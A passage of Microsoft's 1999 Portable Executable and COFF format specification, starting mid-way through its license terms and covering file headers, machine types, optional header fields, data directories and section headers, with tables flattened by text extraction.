furnishing of this document does not give you any covenant not to sue with respect to any other Microsoft patents,
trademarks, copyrights or other intellectual property rights; or any license with respect to any Microsoft intellectual
property rights. Specifically, neither this document nor the Specification give you any license or covenant not to sue
with respect to any Microsoft linker technology or any intellectual property therein which may be referenced in the
Specification.
2.
ADDITIONAL LIMITATIONS AND OBLIGATIONS.
(a) The foregoing covenant not to sue is applicable only to the version of the Specification which you are about to
download. It does not apply to any additional versions of or extensions to the Specification.
(b) Without prejudice to any other rights, Microsoft may terminate this Agreement if you fail to comply with the terms
and conditions of this Agreement. In such event you must destroy all copies of the Specification.
3. INTELLECTUAL PROPERTY RIGHTS. All ownership, title and intellectual property rights in and to the Specification
are owned by Microsoft or its suppliers.
4.U.S. GOVERNMENT RIGHTS. Any Specification provided to the U.S. Government pursuant to solicitations issued on or
after December 1, 1995 is provided with the commercial rights and restrictions described elsewhere herein. Any
Specification provided to the U.S. Government pursuant to solicitations issued prior to December 1, 1995 is provided with
RESTRICTED RIGHTS as provided for in FAR, 48 CFR 52.227-14 (JUNE 1987) or DFAR, 48 CFR 252.227-7013 (OCT
1988), as applicable.
5. EXPORT RESTRICTIONS. Export of the Specification, any part thereof, or any process or service that is the
direct product of the Specification (the foregoing collectively referred to as the “Restricted Components”) from the
United States is regulated by the Export Administration Regulations (EAR, 15 CFR 730-744) of the U.S. Commerce
Department, Bureau of Export Administration (“BXA”). You agree to comply with the EAR in the export or re-
export of the Restricted Components (i) to any country to which the U.S. has embargoed or restricted the export of
goods or services, which currently include, but are not necessarily limited to Cuba, Iran, Iraq, Libya, North Korea,
Sudan, Syria and the Federal Republic of Yugoslavia (including Serbia, but not Montenegro), or to any national of
any such country, wherever located, who intends to transmit or transport the Restricted Components back to such
country; (ii) to any person or entity who you know or have reason to know will utilize the Restricted Components in
the design, development or production of nuclear, chemical or biological weapons; or (iii) to any person or entity
who has been prohibited from participating in U.S. export transactions by any federal agency of the U.S. government.
You warrant and represent that neither the BXA nor any other U.S. federal agency has suspended, revoked or denied
your export privileges. For additional information see http://www.microsoft.com/exporting.
6. DISCLAIMER OF WARRANTIES. To the maximum extent permitted by applicable law, Microsoft and its
suppliers provide the Specification (and all intellectual property therein) and any (if any) support services
related to the Specification (“Support Services”) AS IS AND WITH ALL FAULTS, and hereby disclaim all
warranties and conditions, either express, implied or statutory, including, but not limited to, any (if any)
implied warranties or conditions of merchantability, of fitness for a particular purpose, of lack of viruses, of
accuracy or completeness of responses, of results, and of lack of negligence or lack of workmanlike effort, all
with regard to the Specification, any intellectual property therein and the provision of or failure to provide
Support Services. ALSO, THERE IS NO WARRANTY OR CONDITION OF TITLE, QUIET
ENJOYMENT, QUIET POSSESSION, CORRESPONDENCE TO DESCRIPTION OR NON-
INFRINGEMENT, WITH REGARD TO THE SPECIFICATION AND ANY INTELLECTUAL PROPERTY
THEREIN. THE ENTIRE RISK AS TO THE QUALITY OF OR ARISING OUT OF USE OR
PERFORMANCE OF THE SPECIFICATION, ANY INTELLECTUAL PROPERTY THEREIN, AND
SUPPORT SERVICES, IF ANY, REMAINS WITH YOU.
7. EXCLUSION OF INCIDENTAL, CONSEQUENTIAL AND CERTAIN OTHER DAMAGES. TO THE
MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL MICROSOFT OR
ITS SUPPLIERS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT, OR CONSEQUENTIAL
DAMAGES WHATSOEVER (INCLUDING, BUT NOT LIMITED TO, DAMAGES FOR LOSS OF
PROFITS OR CONFIDENTIAL OR OTHER INFORMATION, FOR BUSINESS INTERRUPTION, FOR
PERSONAL INJURY, FOR LOSS OF PRIVACY, FOR FAILURE TO MEET ANY DUTY INCLUDING OF
GOOD FAITH OR OF REASONABLE CARE, FOR NEGLIGENCE, AND FOR ANY OTHER
PECUNIARY OR OTHER LOSS WHATSOEVER) ARISING OUT OF OR IN ANY WAY RELATED TO
THE USE OF OR INABILITY TO USE THE SPECIFICATION, ANY INTELLECTUAL PROPERTY
THEREIN, THE PROVISION OF OR FAILURE TO PROVIDE SUPPORT SERVICES, OR OTHERWISE
UNDER OR IN CONNECTION WITH ANY PROVISION OF THIS AGREEMENT, EVEN IN THE EVENT
OF THE FAULT, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY, BREACH OF CONTRACT
OR BREACH OF WARRANTY OF MICROSOFT OR ANY SUPPLIER, AND EVEN IF MICROSOFT OR
ANY SUPPLIER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
8. LIMITATION OF LIABILITY AND REMEDIES. Notwithstanding any damages that you might incur for
any reason whatsoever (including, without limitation, all damages referenced above and all direct or general
damages), the entire liability of Microsoft and any of its suppliers under any provision of this Agreement and
your exclusive remedy for all of the foregoing shall be limited to the greater of the amount actually paid by you
for the Specification or U.S.$5.00. The foregoing limitations, exclusions and disclaimers shall apply to the
maximum extent permitted by applicable law, even if any remedy fails its essential purpose.
9. APPLICABLE LAW. If you acquired this Specification in the United States, this Agreement is governed by the laws of the
State of Washington. If you acquired this Specification in Canada, unless expressly prohibited by local law, this Agreement
is governed by the laws in force in the Province of Ontario, Canada; and, in respect of any dispute which may arise
hereunder, you consent to the jurisdiction of the federal and provincial courts sitting in Toronto, Ontario. If this Specification
was acquired outside the United States, then local law may apply.
10.QUESTIONS. Should you have any questions concerning this Agreement, or if you desire to contact Microsoft for
any reason, please contact the Microsoft subsidiary serving your country, or write: Microsoft Sales Information
Center/One Microsoft Way/Redmond, WA 98052-6399.
11.ENTIRE AGREEMENT. This Agreement is the entire agreement between you and Microsoft relating to the
Specification and the Support Services (if any) and they supersede all prior or contemporaneous oral or written
communications, proposals and representations with respect to the Specification or any other subject matter covered
by this Agreement. To the extent the terms of any Microsoft policies or programs for Support Services conflict with
the terms of this Agreement, the terms of this Agreement shall control.
Si vous avez acquis votre produit Microsoft au CANADA, la garantie limitée suivante vous concerne :
RENONCIATION AUX GARANTIES. Dans toute la mesure permise par la législation en vigueur, Microsoft et ses
fournisseurs fournissent la Specification (et à toute propriété intellectuelle dans celle-ci) et tous (selon le cas) les
services d’assistance liés à la Specification (“Services d’assistance”) TELS QUELS ET AVEC TOUS LEURS
DÉFAUTS, et par les présentes excluent toute garantie ou condition, expresse ou implicite, légale ou conventionnelle,
écrite ou verbale, y compris, mais sans limitation, toute (selon le cas) garantie ou condition implicite ou légale de
qualité marchande, de conformité à un usage particulier, d’absence de virus, d’exactitude et d’intégralité des réponses,
de résultats, d’efforts techniques et professionnels et d’absence de négligence, le tout relativement à la Specification, à
toute propriété intellectuelle dans celle-ci et à la prestation ou à la non-prestation des Services d’assistance. DE PLUS,
IL N’Y A AUCUNE GARANTIE ET CONDITION DE TITRE, DE JOUISSANCE PAISIBLE, DE POSSESSION
PAISIBLE, DE SIMILARITÉ À LA DESCRIPTION ET D’ABSENCE DE CONTREFAÇON RELATIVEMENT À
LA SPÉCIFICATION ET À TOUTE PROPRIÉTÉ INTELLECTUELLE DANS CELLE-CI. VOUS SUPPORTEZ
TOUS LES RISQUES DÉCOULANT DE L’UTILISATION ET DE LA PERFORMANCE DE LA SPÉCIFICATION
ET DE TOUTE PROPRIÉTÉ INTELLECTUELLE DANS CELLE-CI ET CEUX DÉCOULANT DES SERVICES
D’ASSISTANCE (S’IL Y A LIEU).
EXCLUSION DES DOMMAGES INDIRECTS, ACCESSOIRES ET AUTRES. Dans toute la mesure permise par la
législation en vigueur, Microsoft et ses fournisseurs ne sont en aucun cas responsables de tout dommage spécial,
indirect, accessoire, moral ou exemplaire quel qu’il soit (y compris, mais sans limitation, les dommages entraînés par la
perte de bénéfices ou la perte d’information confidentielle ou autre, l’interruption des affaires, les préjudices corporels,
la perte de confidentialité, le défaut de remplir toute obligation y compris les obligations de bonne foi et de diligence
raisonnable, la négligence et toute autre perte pécuniaire ou autre perte de quelque nature que ce soit) découlant de, ou
de toute autre manière lié à, l’utilisation ou l’impossibilité d’utiliser la Spécification, toute propriété intellectuelle dans
celle-ci, la prestation ou la non-prestation des Services d’assistance ou autrement en vertu de ou relativement à toute
disposition de cette convention, que ce soit en cas de faute, de délit (y compris la négligence), de responsabilité stricte,
de manquement à un contrat ou de manquement à une garantie de Microsoft ou de l’un de ses fournisseurs, et ce, même
si Microsoft ou l’un de ses fournisseurs a été avisé de la possibilité de tels dommages.
LIMITATION DE RESPONSABILITÉ ET RECOURS. Malgré tout dommage que vous pourriez encourir pour
quelque raison que ce soit (y compris, mais sans limitation, tous les dommages mentionnés ci-dessus et tous les
dommages directs et généraux), la seule responsabilité de Microsoft et de ses fournisseurs en vertu de toute disposition
de cette convention et votre unique recours en regard de tout ce qui précède sont limités au plus élevé des montants
suivants: soit (a) le montant que vous avez payé pour la Spécification, soit (b) un montant équivalant à cinq dollars
U.S. (5,00 $ U.S.). Les limitations, exclusions et renonciations ci-dessus s’appliquent dans toute la mesure permise par
la législation en vigueur, et ce même si leur application a pour effet de priver un recours de son essence.
DROITS LIMITÉS DU GOUVERNEMENT AMÉRICAIN
Tout Produit Logiciel fourni au gouvernement américain conformément à des demandes émises le ou après le 1er
décembre 1995 est offert avec les restrictions et droits commerciaux décrits ailleurs dans la présente convention. Tout
Produit Logiciel fourni au gouvernement américain conformément à des demandes émises avant le 1er décembre 1995
est offert avec des DROITS LIMITÉS tels que prévus dans le FAR, 48CFR 52.227-14 (juin 1987) ou dans le FAR,
48CFR 252.227-7013 (octobre 1988), tels qu’applicables.
Sauf lorsqu’expressément prohibé par la législation locale, la présente convention est régie par les lois en vigueur dans
la province d’Ontario, Canada. Pour tout différend qui pourrait découler des présentes, vous acceptez la compétence
des tribunaux fédéraux et provinciaux siégeant à Toronto, Ontario.
Si vous avez des questions concernant cette convention ou si vous désirez communiquer avec Microsoft pour quelque
raison que ce soit, veuillez contacter la succursale Microsoft desservant votre pays, ou écrire à: Microsoft Sales
Information Center, One Microsoft Way, Redmond, Washington 98052-6399.
Microsoft Portable Executable and
Common Object File Format Specification
Microsoft Corporation
Revision 6.0 - February 1999
Note This document is provided to aid in the development of tools and applications for Microsoft Windows NT® but
is not guaranteed to be a complete specification in all respects. Microsoft reserves the right to alter this document
without notice.
Microsoft, MS, MS-DOS, and CodeView are registered trademarks, and Windows, Windows NT, Win32, Win32s,
and Visual C++ are trademarks of Microsoft Corporation in the USA and other countries.
Alpha AXP is a trademark of Digital Equipment Corporation. Intel is a registered trademark, and Intel386 is a
trademark of Intel Corporation. MIPS is a registered trademark of MIPS Computer Systems, Inc. Unicode is a
trademark of Unicode, Incorporated. UNIX is a registered trademark of UNIX Systems Laboratories. Other product
and company names mentioned herein may be the trademarks of their respective owners.
© 1999 Microsoft Corporation. All rights reserved.
Contents
1. General Concepts
7
2. Overview
8
3. File Headers
10
3.1. MS-DOS Stub (Image Only)
10
3.2. Signature (Image Only)
10
3.3. COFF File Header (Object & Image)
10
3.4. Optional Header (Usually Image Only)
13
4. Section Table (Section Headers)
19
4.1. Section Flags
20
4.2. Grouped Sections (Object Only)
22
5. Other Contents of the File
23
5.1. Section Data
23
5.2. COFF Relocations (Object Only)
23
5.3. COFF Line Numbers
31
5.4. COFF Symbol Table
32
5.5. Auxiliary Symbol Records
37
5.6. COFF String Table
41
5.7. The Attribute Certificate Table (Image Only)
41
5.8 Delay-Load Import Tables (Image Only)
42
6. Special Sections
44
6.1. The .debug Section
45
6.2. The .drectve Section (Object Only)
48
6.3. The .edata Section (Image Only)
48
6.4. The .idata Section
52
6.5. The .pdata Section
54
6.6. The .reloc Section (Image Only)
55
6.7. The .tls Section
57
6.8. The .rsrc Section
60
7. Archive (Library) File Format
64
7.1. Archive File Signature
65
7.2. Archive Member Headers
65
7.3. First Linker Member
66
7.4. Second Linker Member
67
7.5. Longnames Member
68
8. Import Library Format
68
8.1. Import Header
68
8.2. Import Type
69
8.3. Import Name Type
69
Appendix: Example Object File
70
Appendix: Calculating Image Message Digests
75
Fields Not To Include In Digests
75
1. General Concepts
This document specifies the structure of executable (image) files and object files under the
Microsoft Windows NT® operating system. These files are referred to as Portable Executable
(PE) and Common Object File Format (COFF) files respectively. The name “Portable Executable”
refers to the fact that the format is not architecture-specific.
Certain concepts appear repeatedly throughout the specification and are described in the
following table:
Name
Description
Image file
Executable file: either a .EXE file or a DLL. An image file can be
thought of as a “memory image.” The term “image file” is usually
used instead of “executable file,” because the latter sometimes is
taken to mean only a .EXE file.
Object file
A file given as input to the linker. The linker produces an image file,
which in turn is used as input by the loader. The term “object file”
does not necessarily imply any connection to object-oriented
programming.
RVA
Relative Virtual Address. In an image file, an RVA is always the
address of an item once loaded into memory, with the base address
of the image file subtracted from it. The RVA of an item will almost
always differ from its position within the file on disk (File Pointer).
In an object file, an RVA is less meaningful because memory
locations are not assigned. In this case, an RVA would be an
address within a section (see below), to which a relocation is later
applied during linking. For simplicity, compilers should just set the
first RVA in each section to zero.
Virtual Address (VA)
Same as RVA (see above), except that the base address of the
image file is not subtracted. The address is called a “Virtual
Address” because Windows NT creates a distinct virtual address
space for each process, independent of physical memory. For
almost all purposes, a virtual address should be considered just an
address. A virtual address is not as predictable as an RVA,
because the loader might not load the image at its preferred
location.
File pointer
Location of an item within the file itself, before being processed by
the linker (in the case of object files) or the loader (in the case of
image files). In other words, this is a position within the file as
stored on disk.
Date/Time Stamp
Date/time stamps are used in a number of places in a PE/COFF
file, and for different purposes. The format of each such stamp,
however, is always the same: that used by the time functions in the
C run-time library.
Section
A section is the basic unit of code or data within a PE/COFF file. In
an object file, for example, all code can be combined within a single
section, or (depending on compiler behavior) each function can
occupy its own section. With more sections, there is more file
overhead, but the linker is able to link in code more selectively. A
section is vaguely similar to a segment in Intel® 8086 architecture.
All the raw data in a section must be loaded contiguously. In
addition, an image file can contain a number of sections, such as
.tls or .reloc, that have special purposes.
Attribute certificates are used to associate verifiable statements
with an image. There are a number of different verifiable
statements that can be associated with a file, but one of the most
useful ones, and one that is easy to describe, is a statement by a
software manufacturer indicating what the message digest of the
image is expected to be. A message digest is similar to a
checksum except that it is extremely difficult to forge, and, therefore
it is very difficult to modify a file in such a way as to have the same
message digest as the original file. The statement may be verified
as being made by the manufacturer by use of public/private key
cryptography schemes. This document does not go into details of
attribute certificates other than to allow for their insertion into image
files.
2. Overview
Figures 1 and 2 illustrate the Microsoft PE executable format and the Microsoft COFF object-
module format.
Figure 1. Typical 32-Bit Portable .EXE File Layout
Figure 2. Typical 32-Bit COFF Object Module Layout
3. File Headers
The PE file header consists of an MS-DOS stub, the PE signature, the COFF File Header,
and an Optional Header. A COFF object file header consists of a COFF File Header and
an Optional Header. In both cases, the file headers are followed immediately by section
headers.
3.1. MS-DOS Stub (Image Only)
The MS-DOS Stub is a valid application that runs under MS-DOS and is placed at the front of the
.EXE image. The linker places a default stub here, which prints out the message “This program
cannot be run in DOS mode” when the image is run in MS-DOS. The user can specify another
stub by using the /STUB linker option.
At location 0x3c, the stub has the file offset to the Portable Executable (PE) signature. This
information enables Windows NT to properly execute the image file, even though it has a DOS
Stub. This file offset is placed at location 0x3c during linking.
3.2. Signature (Image Only)
After the MS-DOS stub, at the file offset specified at offset 0x3c, there is a 4-byte signature
identifying the file as a PE format image file; this format is used in Win32, Posix on Windows NT,
and for some device drivers in Windows NT. Currently, this signature is “PE\0\0” (the letters “P”
and “E” followed by two null bytes).
3.3. COFF File Header (Object & Image)
At the beginning of an object file, or immediately after the signature of an image file, there is a
standard COFF header of the following format. Note that the Windows NT loader limits the
Number of Sections to 96.
Offset
Size
Field
Description
0
2
Machine
Number identifying type of target machine.
See Section 3.3.1, “Machine Types, ” for more
information.
2
2
NumberOfSections
Number of sections; indicates size of the
Section Table, which immediately follows the
headers.
4
4
TimeDateStamp
Time and date the file was created.
8
4
PointerToSymbolTable
File offset of the COFF symbol table or 0 if
none is present.
12
4
NumberOfSymbols
Number of entries in the symbol table. This
data can be used in locating the string table,
which immediately follows the symbol table.
16
2
SizeOfOptionalHeader
Size of the optional header, which is required
for executable files but not for object files. An
object file should have a value of 0 here. The
format is described in the section “Optional
Header.”
18
2
Characteristics
Flags indicating attributes of the file. See
Section 3.3.2, “Characteristics,” for specific
flag values.
3.3.1. Machine Types
The Machine field has one of the following values, defined below, which specify its machine
(CPU) type. An image file can be run only on the specified machine, or a system emulating it.
Constant
Value
Description
IMAGE_FILE_MACHINE_UNKNOWN
0x0
Contents assumed to be applicable to any
machine type.
IMAGE_FILE_MACHINE_ALPHA
0x184
Alpha AXP™.
IMAGE_FILE_MACHINE_ARM
0x1c0
IMAGE_FILE_MACHINE_ALPHA64
0x284
Alpha AXP™ 64-bit.
IMAGE_FILE_MACHINE_I386
0x14c
Intel 386 or later, and compatible processors.
IMAGE_FILE_MACHINE_IA64
0x200
Intel IA64™
IMAGE_FILE_MACHINE_M68K
0x268
Motorola 68000 series.
IMAGE_FILE_MACHINE_MIPS16
0x266
IMAGE_FILE_MACHINE_MIPSFPU
0x366
MIPS with FPU
IMAGE_FILE_MACHINE_MIPSFPU16
0x466
MIPS16 with FPU
IMAGE_FILE_MACHINE_POWERPC
0x1f0
Power PC, little endian.
IMAGE_FILE_MACHINE_R3000
0x162
IMAGE_FILE_MACHINE_R4000
0x166
MIPS® little endian.
IMAGE_FILE_MACHINE_R10000
0x168
IMAGE_FILE_MACHINE_SH3
0x1a2
Hitachi SH3
IMAGE_FILE_MACHINE_SH4
0x1a6
Hitachi SH4
IMAGE_FILE_MACHINE_THUMB
0x1c2
3.3.2. Characteristics
The Characteristics field contains flags that indicate attributes of the object or image file. The
following flags are currently defined:
Flag
Value
Description
IMAGE_FILE_RELOCS_STRIPPED
0x0001
Image only, Windows CE, Windows
NT and above. Indicates that the file
does not contain base relocations
and must therefore be loaded at its
preferred base address. If the base
address is not available, the loader
reports an error. Operating systems
running on top of MS-DOS
(Win32s™) are generally not able to
use the preferred base address and
so cannot run these images.
However, beginning with version 4.0,
Windows will use an application’s
preferred base address. The default
behavior of the linker is to strip base
relocations from EXEs.
IMAGE_FILE_EXECUTABLE_IMAGE
0x0002
Image only. Indicates that the image
file is valid and can be run. If this flag
is not set, it generally indicates a
linker error.
IMAGE_FILE_LINE_NUMS_STRIPPED
0x0004
COFF line numbers have been
removed.
IMAGE_FILE_LOCAL_SYMS_STRIPPED
0x0008
COFF symbol table entries for local
symbols have been removed.
IMAGE_FILE_AGGRESSIVE_WS_TRIM
0x0010
Aggressively trim working set.
IMAGE_FILE_LARGE_ADDRESS_AWARE
0x0020
App can handle > 2gb addresses.
IMAGE_FILE_16BIT_MACHINE
0x0040
Use of this flag is reserved for future
use.
IMAGE_FILE_BYTES_REVERSED_LO
0x0080
Little endian: LSB precedes MSB in
memory.
IMAGE_FILE_32BIT_MACHINE
0x0100
Machine based on 32-bit-word
architecture.
IMAGE_FILE_DEBUG_STRIPPED
0x0200
Debugging information removed
from image file.
IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP
0x0400
If image is on removable media,
copy and run from swap file.
IMAGE_FILE_SYSTEM
0x1000
The image file is a system file, not a
user program.
IMAGE_FILE_DLL
0x2000
The image file is a dynamic-link
library (DLL). Such files are
considered executable files for
almost all purposes, although they
cannot be directly run.
IMAGE_FILE_UP_SYSTEM_ONLY
0x4000
File should be run only on a UP
machine.
IMAGE_FILE_BYTES_REVERSED_HI
0x8000
Big endian: MSB precedes LSB in
memory.
3.4. Optional Header (Usually Image Only)
Every image file has an Optional Header that provides information to the loader. This header is
also referred to the PE Header. This header is optional in the sense that some files (specifically,
object files) do not have it. For image files, this header is required. An object file may have an
optional header, but generally this header has no function in an object file except to increase size.
Note that the size of the optional header is not fixed. The Optional Header Size in the COFF
Header (see Section 3.3 COFF File Header (Object & Image)) must be used in conjunction with
the Optional Header’s Number of Data Directories field to accurately calculate the size of the
header. In addition, it is important to validate the Optional Header’s Magic number for format
compatibility.
The Optional Header’s Magic number determines whether an image is a PE32 or PE32+
executable:
Magic Number
PE Format
0x10b
PE32
0x20b
PE32+
PE32+ images allow for a 64-bit address space while limiting the image size to 4 Gigabytes. Other
PE32+ modifications are addressed in their respective sections.
The Optional Header itself has three major parts:
Offset
(PE32/PE32+)
Size
(PE32/PE32+)
Header part
Description
0
28/24
Standard fields
These are defined for all implementations
of COFF, including UNIX®.
28/24
68 / 88
Windows specific
fields
These include additional fields to support
specific features of Windows (for
example, subsystem).
96/112
Variable
Data directories
These fields are address/size pairs for
special tables, found in the image file and
used by the operating system (for
example, Import Table and Export Table).
3.4.1. Optional Header Standard Fields (Image Only)
The first eight fields of the Optional Header are standard fields, defined for every implementation
of COFF. These fields contain general information useful for loading and running an executable
file, and are unchanged for the PE32+ format.
Offset
Size
Field
Description
0
2
Magic
Unsigned integer identifying the state of the
image file. The most common number is
0413 octal (0x10B), identifying it as a normal
executable file. 0407 (0x107) identifies a
ROM image.
2
1
MajorLinkerVersion
Linker major version number.
3
1
MinorLinkerVersion
Linker minor version number.
4
4
SizeOfCode
Size of the code (text) section, or the sum of
all code sections if there are multiple
sections.
8
4
SizeOfInitializedData
Size of the initialized data section, or the sum
of all such sections if there are multiple data
sections.
12
4
SizeOfUninitializedData
Size of the uninitialized data section (BSS),
or the sum of all such sections if there are
multiple BSS sections.
16
4
AddressOfEntryPoint
Address of entry point, relative to image
base, when executable file is loaded into
memory. For program images, this is the
starting address. For device drivers, this is
the address of the initialization function. An
entry point is optional for DLLs. When none
is present this field should be 0.
20
4
BaseOfCode
Address, relative to image base, of beginning
of code section, when loaded into memory.
PE32 contains this additional field, absent in PE32+, following BaseOfCode:
24
4
BaseOfData
Address, relative to image base, of
beginning of data section, when loaded into
memory.
3.4.2. Optional Header Windows NT-Specific Fields (Image Only)
The next twenty-one fields are an extension to the COFF Optional Header format and contain
additional information needed by the linker and loader in Windows NT.
Offset
(PE32/PE32+)
Size
(PE32/PE32+)
Field
Description
28 / 24
4 / 8
ImageBase
Preferred address of first byte of
image when loaded into memory;
must be a multiple of 64K. The default
for DLLs is 0x10000000. The default
for Windows CE EXEs is
0x00010000. The default for Windows
NT, Windows 95, and Windows 98 is
0x00400000.
32 / 32
4
SectionAlignment
Alignment (in bytes) of sections when
loaded into memory. Must greater or
equal to File Alignment. Default is the
page size for the architecture.
36 / 36
4
FileAlignment
Alignment factor (in bytes) used to
align the raw data of sections in the
image file. The value should be a
power of 2 between 512 and 64K
inclusive. The default is 512. If the
SectionAlignment is less than the
architecture’s page size than this
must match the SectionAlignment.
40 / 40
2
MajorOperatingSystemV
ersion
Major version number of required OS.
42 / 42
2
MinorOperatingSystemV
ersion
Minor version number of required OS.
44 / 44
2
MajorImageVersion
Major version number of image.
46 / 46
2
MinorImageVersion
Minor version number of image.
48 / 48
2
MajorSubsystemVersion
Major version number of subsystem.
50 / 50
2
MinorSubsystemVersion
Minor version number of subsystem.
52 / 52
4
Reserved
dd
56 / 56
4
SizeOfImage
Size, in bytes, of image, including all
headers; must be a multiple of
Section Alignment.
60 / 60
4
SizeOfHeaders
Combined size of MS-DOS stub, PE
Header, and section headers rounded
up to a multiple of FileAlignment.
64 / 64
4
CheckSum
Image file checksum. The algorithm
for computing is incorporated into
IMAGHELP.DLL. The following are
checked for validation at load time: all
drivers, any DLL loaded at boot time,
and any DLL that ends up in the
server.
68 / 68
2
Subsystem
Subsystem required to run this image.
See “Windows NT Subsystem” below
for more information.
70 / 70
2
DLL Characteristics
See “DLL Characteristics” below for
more information.
72 / 72
4 / 8
SizeOfStackReserve
Size of stack to reserve. Only the
Stack Commit Size is committed; the
rest is made available one page at a
time, until reserve size is reached.
76 / 80
4 / 8
SizeOfStackCommit
Size of stack to commit.
80 / 88
4 / 8
SizeOfHeapReserve
Size of local heap space to reserve.
Only the Heap Commit Size is
committed; the rest is made available
one page at a time, until reserve size
is reached.
84 / 96
4 / 8
SizeOfHeapCommit
Size of local heap space to commit.
88 / 104
4
LoaderFlags
Obsolete.
92 / 108
4
NumberOfRvaAndSizes
Number of data-dictionary entries in
the remainder of the Optional Header.
Each describes a location and size.
Windows NT Subsystem
The following values are defined for the Subsystem field of the Optional Header. They determine
what, if any, Windows NT subsystem is required to run the image.
Constant
Value
Description
IMAGE_SUBSYSTEM_UNKNOWN
0
Unknown subsystem.
IMAGE_SUBSYSTEM_NATIVE
1
Used for device drivers and native
Windows NT processes.
IMAGE_SUBSYSTEM_WINDOWS_GUI
2
Image runs in the Windows™ graphical
user interface (GUI) subsystem.
IMAGE_SUBSYSTEM_WINDOWS_CUI
3
Image runs in the Windows character
subsystem.
IMAGE_SUBSYSTEM_POSIX_CUI
7
Image runs in the Posix character
subsystem.
IMAGE_SUBSYSTEM_WINDOWS_CE_GUI
9
Image runs in on Windows CE.
IMAGE_SUBSYSTEM_EFI_APPLICATION
10
Image is an EFI application.
IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_
DRIVER
11
Image is an EFI driver that provides boot
services.
IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER
12
Image is an EFI driver that provides
runtime services.
DLL Characteristics
The following values are defined for the DLLCharacteristics field of the Optional Header.
Constant
Value
Description
0x0001
Reserved
0x0002
Reserved
0x0004
Reserved
0x0008
Reserved
IMAGE_DLLCHARACTERISTICS_NO_BIND
0x0800
Do not bind image
IMAGE_DLLCHARACTERISTICS_WDM_DRIVER
0x2000
Driver is a WDM Driver
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER
_AWARE
0x8000
Image is Terminal Server aware
3.4.3. Optional Header Data Directories (Image Only)
Each data directory gives the address and size of a table or string used by Windows NT. These
are all loaded into memory so that they can be used by the system at run time. A data directory is
an eight-byte field that has the following declaration:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD RVA;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
The first field, RVA, is the relative virtual address of the table. The RVA is the address of the table,
when loaded, relative to the base address of the image. The second field gives the size in bytes.
The data directories, which form the last part of the Optional Header, are listed below.
Note that the number of directories is not fixed. The NumberOfRvaAndSizes field in the optional
header should be checked before looking for a specific directory.
Do not assume that the RVAs given in this table point to the beginning of a section or that the
sections containing specific tables have specific names.
Offset
(PE/PE32+)
Size
Field
Description
96/112
8
Export Table
Export Table address and size.
104/120
8
Import Table
Import Table address and size
112/128
8
Resource Table
Resource Table address and size.
120/136
8
Exception Table
Exception Table address and size.
128/144
8
Certificate Table
Attribute Certificate Table address and size.
136/152
8
Base Relocation Table
Base Relocation Table address and size.
144/160
8
Debug
Debug data starting address and size.
152/168
8
Architecture
Architecture-specific data address and size.
160/176
8
Global Ptr
Relative virtual address of the value to be
stored in the global pointer register. Size
member of this structure must be set to 0.
168/184
8
TLS Table
Thread Local Storage (TLS) Table address
and size.
176/192
8
Load Config Table
Load Configuration Table address and size.
184/200
8
Bound Import
Bound Import Table address and size.
192/208
8
IAT
Import Address Table address and size.
200/216
8
Delay Import Descriptor
Address and size of the Delay Import
Descriptor.
208/224
8
COM+ Runtime Header
COM+ Runtime Header address and size
216/232
8
Reserved
The Certificate Table entry points to a table of attribute certificates. These certificates are not
loaded into memory as part of the image. As such, the first field of this entry, which is normally an
RVA, is a File Pointer instead.
4. Section Table (Section Headers)
Each row of the Section Table, in effect, is a section header. This table immediately follows the
optional header, if any. This positioning is required because the file header does not contain a
direct pointer to the section table; the location of the section table is determined by calculating the
location of the first byte after the headers. Make sure to use the size of the optional header as
specified in the file header.
The number of entries in the Section Table is given by the NumberOfSections field in the file
header. Entries in the Section Table are numbered starting from one. The code and data memory
section entries are in the order chosen by the linker.
In an image file, the virtual addresses for sections must be assigned by the linker such that they
are in ascending order and adjacent, and they must be a multiple of the Section Align value in the
optional header.
Each section header (Section Table entry) has the following format, for a total of 40 bytes per
entry:
Offset
Size
Field
Description
0
8
Name
An 8-byte, null-padded ASCII string. There is no
terminating null if the string is exactly eight
characters long. For longer names, this field contains
a slash (/) followed by ASCII representation of a
decimal number: this number is an offset into the
string table. Executable images do not use a string
table and do not support section names longer than
eight characters. Long names in object files will be
truncated if emitted to an executable file.
8
4
VirtualSize
Total size of the section when loaded into memory. If
this value is greater than Size of Raw Data, the
section is zero-padded. This field is valid only for
executable images and should be set to 0 for object
files.
12
4
VirtualAddress
For executable images this is the address of the first
byte of the section, when loaded into memory,
relative to the image base. For object files, this field
is the address of the first byte before relocation is
applied; for simplicity, compilers should set this to
zero. Otherwise, it is an arbitrary value that is
subtracted from offsets during relocation.
16
4
SizeOfRawData
Size of the section (object file) or size of the
initialized data on disk (image files). For executable
image, this must be a multiple of FileAlignment from
the optional header. If this is less than VirtualSize the
remainder of the section is zero filled. Because this
field is rounded while the VirtualSize field is not it is
possible for this to be greater than VirtualSize as
well. When a section contains only uninitialized data,
this field should be 0.
20
4
PointerToRawData
File pointer to section’s first page within the COFF
file. For executable images, this must be a multiple of
FileAlignment from the optional header. For object
files, the value should be aligned on a four-byte
boundary for best performance. When a section
contains only uninitialized data, this field should be 0.
24
4
PointerToRelocatio
ns
File pointer to beginning of relocation entries for the
section. Set to 0 for executable images or if there are
no relocations.
28
4
PointerToLinenum
bers
File pointer to beginning of line-number entries for
the section. Set to 0 if there are no COFF line
numbers.
32
2
NumberOfRelocati
ons
Number of relocation entries for the section. Set to 0
for executable images.
34
2
NumberOfLinenum
bers
Number of line-number entries for the section.
36
4
Characteristics
Flags describing section’s characteristics. See
Section 4.1, “Section Flags,” for more information.
4.1. Section Flags
The Section Flags field indicates characteristics of the section.
Flag
Value
Description
IMAGE_SCN_TYPE_REG
0x00000000
Reserved for future use.
IMAGE_SCN_TYPE_DSECT
0x00000001
Reserved for future use.
IMAGE_SCN_TYPE_NOLOAD
0x00000002
Reserved for future use.
IMAGE_SCN_TYPE_GROUP
0x00000004
Reserved for future use.
